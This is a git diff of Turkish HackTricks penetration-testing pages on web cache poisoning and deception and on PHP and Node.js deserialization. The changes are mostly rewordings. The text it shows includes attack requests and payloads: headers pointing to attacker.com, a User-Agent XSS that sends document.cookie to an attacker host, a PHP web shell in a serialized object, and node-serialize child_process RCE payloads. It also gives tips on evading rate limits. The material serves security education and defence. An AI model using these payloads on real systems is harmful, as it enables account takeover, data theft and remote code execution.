[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak **parametreleri ve başlıkları zorlayabilir** ve bunların **sayfanın yanıtını değiştirebileceğini** belirleyebilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak **parametreleri ve başlıkları zorlayabilir** ve bunların **sayfanın yanıtını değiştirebileceğini** kontrol edebilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
@ -47,16 +47,16 @@ Parametre/başlık belirlendikten sonra, **nasıl** **temizlendiğini** ve **ner
|
||||
|
||||
### Yanıtı önbelleğe alma
|
||||
|
||||
Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını belirlemeniz gerekir, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.
|
||||
Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını bilmeniz gerekir, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.
|
||||
|
||||
Yanıt içindeki **`X-Cache`** başlığı çok faydalı olabilir çünkü istek önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabilir.\
|
||||
Yanıt içindeki **`X-Cache`** başlığı, isteğin önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabileceğinden çok faydalı olabilir.\
|
||||
**`Cache-Control`** başlığı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Bir diğer ilginç başlık **`Vary`**. Bu başlık genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, hedeflediği kurbanın `User-Agent`'ını bilen bir kullanıcı, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.
|
||||
Bir diğer ilginç başlık **`Vary`**. Bu başlık, genellikle **önbellek anahtarının** bir parçası olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, hedeflediği kurbanın `User-Agent`'ını bilen bir kullanıcı, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.
|
||||
|
||||
Önbellekle ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
|
||||
|
||||
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak kullanılabilir ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin**.
|
||||
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak **kullanılabilir** ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin**.
|
||||
|
||||
## Sömürü Örnekleri
|
||||
|
||||
@ -117,7 +117,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Web önbellek zehirleme zafiyetlerini istismar etmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girdi** istismar etmeniz gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.
|
||||
Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girdi** kullanmanız gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -135,7 +135,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde James Kettle'ın bulduğu zafiyet gibi:
|
||||
URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. James Kettle'ın Github web sitesinde bulduğu zafiyet gibi:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -184,19 +184,19 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
|
||||
```
|
||||
Operasyonel ipuçları:
|
||||
|
||||
- Birçok CDN, önbellek başlıklarını gizler; zehirlenme yalnızca çok saatlik yenileme döngülerinde görünebilir. Oran sınırlaması veya itibar tetikleyicilerinden kaçınmak için birden fazla bakış açısı IP'si kullanın ve hızı sınırlayın.
|
||||
- Birçok CDN, önbellek başlıklarını gizler; zehirlenme yalnızca çok saatlik yenileme döngülerinde görünebilir. Oran sınırlaması veya itibar tetikleyicilerini önlemek için birden fazla bakış açısı IP'si kullanın ve hızı sınırlayın.
|
||||
- CDN'nin kendi bulutundan bir IP kullanmak, yönlendirme tutarlılığını bazen artırır.
|
||||
- Katı bir CSP varsa, bu, yansımanın ana HTML bağlamında çalışması ve CSP'nin satır içi yürütmeye izin vermesi veya bağlam tarafından atlanması durumunda hala işe yarar.
|
||||
- Eğer katı bir CSP varsa, bu yine de çalışır; yansıma ana HTML bağlamında yürütülürse ve CSP, satır içi yürütmeye izin veriyorsa veya bağlam tarafından atlanıyorsa.
|
||||
|
||||
Etkisi:
|
||||
|
||||
- Oturum çerezleri `HttpOnly` değilse, zehirlenmiş HTML'den hizmet alan tüm kullanıcıların `document.cookie`'sini kitlesel olarak dışarı aktararak sıfır tıklama ATO mümkündür.
|
||||
- Eğer oturum çerezleri `HttpOnly` değilse, zehirlenmiş HTML'yi alan tüm kullanıcıların `document.cookie`'sini kitlesel olarak dışarı aktararak sıfır tıklama ATO mümkündür.
|
||||
|
||||
Savunmalar:
|
||||
|
||||
- İstek başlıklarını HTML'ye yansıtmaktan kaçının; kaçınılmazsa katı bir bağlam kodlaması yapın. CDN ve köken önbellek politikalarını hizalayın ve güvenilmeyen başlıklarda değişiklik yapmaktan kaçının.
|
||||
- İstek başlıklarını HTML'ye yansıtmayı durdurun; kaçınılmazsa katı bir bağlam kodlaması yapın. CDN ve köken önbellek politikalarını hizalayın ve güvenilmeyen başlıklarda değişiklik yapmaktan kaçının.
|
||||
- WAF'nin `.js` isteklerine ve statik yollara içerik denetimini tutarlı bir şekilde uyguladığından emin olun.
|
||||
- Oturum çerezlerinde `HttpOnly` (ve `Secure`, `SameSite`) ayarlarını yapın.
|
||||
- Oturum çerezlerinde `HttpOnly` (ve `Secure`, `SameSite`) ayarlayın.
|
||||
|
||||
## Savunmasız Örnekler
|
||||
|
||||
@ -210,11 +210,11 @@ ATS, URL içindeki parçayı kesmeden iletti ve önbellek anahtarını yalnızca
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları**, **`x-http-method-override`** başlığını destekler. Bu nedenle `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmesi için zehirlemek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir.
|
||||
GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları**, **`x-http-method-override`** başlığını destekler. Bu nedenle `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek için zehirlemek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilirdi.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Ruby on Rails uygulamalarında, Rack ara yazılımı sıklıkla kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini alıp isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
|
||||
Ruby on Rails uygulamalarında, Rack ara yazılımı sıklıkla kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
|
||||
|
||||
### 403 ve Depolama Kovaları
|
||||
|
||||
@ -222,7 +222,7 @@ Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkile
|
||||
|
||||
### Anahtar Parametreleri Enjekte Etme
|
||||
|
||||
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlu bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Ancak, arka uç URL kodlu parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atlanmasına ancak arka uç tarafından kullanılmasına neden oldu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatasına yol açtı.
|
||||
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlu bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlu parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atlanmasına ancak arka uç tarafından kullanılmasına neden oldu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlandı.
|
||||
|
||||
### Kullanıcı Aracı Kuralları
|
||||
|
||||
@ -236,11 +236,11 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Önbellek Zehirlenmesi
|
||||
## Önbellek Aldatmacası
|
||||
|
||||
Önbellek Zehirlenmesi'nin amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**.
|
||||
Önbellek Aldatmacası'nın amacı, istemcilerin **duyarlı bilgileri ile birlikte önbelleğe kaydedilecek kaynakları yüklemelerini sağlamaktır**.
|
||||
|
||||
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, **uygulama** _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleriyle **tekrar oynuyorsa**, bu içerikleri diğer kullanıcılardan **çalıp** alabilirsiniz.
|
||||
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı depolayacaktır çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde depolanan **duyarlı** kullanıcı içerikleri ile **tekrar oynuyorsa**, bu içerikleri diğer kullanıcılardan **çalıp** alabilirsiniz.
|
||||
|
||||
Test edilecek diğer şeyler:
|
||||
|
||||
@ -252,12 +252,12 @@ Test edilecek diğer şeyler:
|
||||
- _Daha az bilinen uzantılar kullanın, örneğin_ `.avif`
|
||||
|
||||
Bu yazıda çok net bir örnek bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının hassas bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\
|
||||
Daha sonra, **saldırgan** kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
|
||||
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının duyarlı bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\
|
||||
Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
|
||||
|
||||
**Önbellek proxy'sinin**, dosyaların **uzantısına** (_css_) göre **önbelleğe** **alınacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örnekte _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türüne sahip olacağı, bir _.css_ dosyası için beklenen `text/css` mime türü yerine geçecektir.
|
||||
**Önbellek proxy'sinin**, dosyaların **uzantısına** (_css_) göre **önbelleğe alınacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü yerine bir _.css_ dosyası için beklenen `text/css` mime türüne sahip olacaktır.
|
||||
|
||||
Burada [HTTP İstek Kaçırma](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) kullanarak Önbellek Zehirlenmesi saldırıları nasıl gerçekleştirilir öğrenin.
|
||||
Burada [HTTP İstek Kaçırma](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) kullanarak Önbellek Aldatmacası saldırıları nasıl gerçekleştirilir öğrenin.
|
||||
|
||||
## Otomatik Araçlar
|
||||
|
||||
@ -274,4 +274,5 @@ Burada [HTTP İstek Kaçırma](../http-request-smuggling/index.html#using-http-r
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılmaktadır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur.
|
||||
**Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur.
|
||||
|
||||
**Deserialization** ise, tersine, serileştirmeyi karşıt bir süreçtir. Belirli bir formatta yapılandırılmış verileri alıp, tekrar bir nesne haline getirmeyi içerir.
|
||||
**Deserialization** ise, tersine, serileştirmeyi etkisiz hale getiren bir süreçtir. Belirli bir formatta yapılandırılmış verileri alıp, tekrar bir nesne haline getirmeyi içerir.
|
||||
|
||||
Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmasına** veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar oluşturmasına olanak tanır.
|
||||
|
||||
@ -14,11 +14,11 @@ Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların
|
||||
|
||||
PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yöntemler kullanılır:
|
||||
|
||||
- `__sleep`: Bir nesne serileştirildiğinde çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarını içeren bir dizi döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır.
|
||||
- `__wakeup`: Bir nesne deseralize edildiğinde çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.
|
||||
- `__unserialize`: Bu yöntem, bir nesne deseralize edilirken `__wakeup` yerine çağrılır (varsa). `__wakeup`'a kıyasla deserialization süreci üzerinde daha fazla kontrol sağlar.
|
||||
- `__sleep`: Bir nesne serileştirilirken çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarını içeren bir dizi döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır.
|
||||
- `__wakeup`: Bir nesne deserialized edilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.
|
||||
- `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a kıyasla daha fazla kontrol sağlar.
|
||||
- `__destruct`: Bu yöntem, bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır.
|
||||
- `__toString`: Bu yöntem, bir nesnenin bir string olarak muamele görmesini sağlar. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini etkili bir şekilde sağlar.
|
||||
- `__toString`: Bu yöntem, bir nesnenin bir string olarak muamele görmesini sağlar. Bir dosyayı okumak veya içindeki fonksiyon çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini etkili bir şekilde sağlar.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -77,7 +77,7 @@ This is a test<br />
|
||||
Eğer sonuçlara bakarsanız, nesne serileştirildiğinde **`__wakeup`** ve **`__destruct`** fonksiyonlarının çağrıldığını görebilirsiniz. Birçok eğitimde **`__toString`** fonksiyonunun bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu **artık olmuyor**.
|
||||
|
||||
> [!WARNING]
|
||||
> Eğer sınıfta uygulanmışsa, **`__unserialize(array $data)`** metodu **`__wakeup()`** yerine çağrılır. Bu, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi serileştirmeyi sağlar. Bu metodu, özellikleri serileştirmek ve serileştirme sırasında gerekli görevleri yerine getirmek için kullanabilirsiniz.
|
||||
> Eğer sınıfta uygulanmışsa, **`__unserialize(array $data)`** metodu **`__wakeup()`** yerine çağrılır. Bu, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi serileştirmeye olanak tanır. Bu metodu, özellikleri serileştirmek ve serileştirme sırasında gerekli görevleri yerine getirmek için kullanabilirsiniz.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -92,7 +92,7 @@ Eğer sonuçlara bakarsanız, nesne serileştirildiğinde **`__wakeup`** ve **`_
|
||||
|
||||
Açıklamalı bir **PHP örneğini burada** okuyabilirsiniz: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), burada [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) veya burada [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Sınıfları
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
PHP otomatik yükleme işlevselliğini, keyfi php dosyalarını yüklemek ve daha fazlası için kötüye kullanabilirsiniz:
|
||||
|
||||
@ -120,7 +120,7 @@ $ser=serialize($o);
|
||||
> [!INFO]
|
||||
> `unserialize()` fonksiyonunun **ikinci argümanı** ( `$options` dizisi) **PHP 7.0**'da eklendi. Daha eski sürümlerde fonksiyon yalnızca serileştirilmiş dizeyi kabul eder, bu da hangi sınıfların örnekleneceğini kısıtlamayı imkansız hale getirir.
|
||||
|
||||
`unserialize()` serileştirilmiş akışta bulduğu **her sınıfı** örneklendirir, aksi belirtilmedikçe. PHP 7'den itibaren davranış [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) seçeneği ile kısıtlanabilir:
|
||||
`unserialize()` serileştirilmiş akışta bulduğu **her sınıfı** örnekleyecektir, aksi belirtilmedikçe. PHP 7'den itibaren davranış [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) seçeneği ile kısıtlanabilir:
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -160,7 +160,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
Yönetici girişi görüntülediği anda, nesne oluşturuldu ve `SomeClass::__destruct()` çalıştırıldı, bu da rastgele kod yürütülmesine yol açtı.
|
||||
|
||||
**Alınacak dersler**
|
||||
**Önemli Noktalar**
|
||||
1. `unserialize()` çağrılırken her zaman `['allowed_classes' => false]` (veya katı bir beyaz liste) geçirin.
|
||||
2. Savunma sarmalayıcılarını denetleyin – genellikle eski PHP dallarını unutur.
|
||||
3. Sadece **PHP ≥ 7.x**'ye yükseltmek *yeterli değildir*: seçenek hala açıkça sağlanmalıdır.
|
||||
@ -175,7 +175,7 @@ Bu nedenle, mümkünse, sunucunun `phpinfo()`'sunu kontrol edin ve **internette*
|
||||
|
||||
### phar:// metadata deserialization
|
||||
|
||||
Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin _**file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()**_** gibi fonksiyonlar kullanarak.** **phar** protokolünü kullanarak bir **dosya** **okurken** meydana gelen bir **deserialization**'ı kötüye kullanmayı deneyebilirsiniz.\
|
||||
Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin _**file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()**_** gibi fonksiyonlar kullanarak.** **phar** protokolünü kullanarak bir **dosya** okurken meydana gelen bir **deserialization**'ı kötüye kullanmayı deneyebilirsiniz.\
|
||||
Daha fazla bilgi için aşağıdaki gönderiyi okuyun:
|
||||
|
||||
{{#ref}}
|
||||
@ -221,10 +221,10 @@ python-yaml-deserialization.md
|
||||
|
||||
### JS Magic Functions
|
||||
|
||||
JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; bu fonksiyonlar yalnızca bir nesne oluşturmak için çalıştırılacaktır. Ancak, **doğrudan çağrılmadan** sıkça kullanılan bazı **fonksiyonlar** vardır, örneğin **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; bu fonksiyonlar yalnızca bir nesne oluşturmak için çalıştırılacaktır. Ancak, **doğrudan çağrılmadan** bile **sıklıkla kullanılan bazı fonksiyonlar** vardır, örneğin **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Eğer bir deserialization'ı kötüye kullanıyorsanız, bu fonksiyonları **diğer kodları çalıştırmak için tehlikeye atabilirsiniz** (potansiyel olarak prototype kirliliğini kötüye kullanarak) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz.
|
||||
|
||||
Başka bir **"sihirli" yol**, bir fonksiyonu doğrudan çağırmadan **bir async fonksiyondan dönen bir nesneyi tehlikeye atmak**tır (promise). Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, bu, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
|
||||
Bir fonksiyonu doğrudan çağırmadan **"sihirli" bir şekilde çağırmanın** bir diğer yolu, **bir async fonksiyondan dönen bir nesneyi tehlikeye atmaktır** (promise). Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -276,7 +276,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Örnekte, bir fonksiyon serileştirildiğinde `_$$ND_FUNC$$_` bayrağının serileştirilmiş nesneye eklendiğini görebilirsiniz.
|
||||
Örnekte görebileceğiniz gibi, bir fonksiyon serileştirildiğinde `_$$ND_FUNC$$_` bayrağı serileştirilmiş nesneye eklenir.
|
||||
|
||||
`node-serialize/lib/serialize.js` dosyasında aynı bayrağı ve kodun bunu nasıl kullandığını bulabilirsiniz.
|
||||
|
||||
@ -287,7 +287,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
Son kod parçasında görebileceğiniz gibi, **eğer bayrak bulunursa** `eval` fonksiyonu kullanılarak fonksiyon serileştirilir, bu nedenle temelde **kullanıcı girişi `eval` fonksiyonu içinde kullanılmaktadır**.
|
||||
|
||||
Ancak, **sadece bir fonksiyonu serileştirmek** **onu çalıştırmaz**, çünkü kodun bir kısmının **`y.rce`'yi çağırması** gerekir ve bu oldukça **olasılık dışıdır**.\
|
||||
Yine de, serileştirilmiş nesneyi **bazı parantezler ekleyerek** **değiştirerek**, nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\
|
||||
Yine de, serileştirilmiş nesneyi **değiştirerek** **bazı parantezler ekleyerek** nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\
|
||||
Son kod parçasında **son parantezi** ve `unserialize` fonksiyonunun kodu otomatik olarak nasıl çalıştıracağını gözlemleyin:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
@ -303,13 +303,13 @@ var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Bu güvenliği istismar etme hakkında [**buradan**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **daha fazla bilgi** bulabilirsiniz.
|
||||
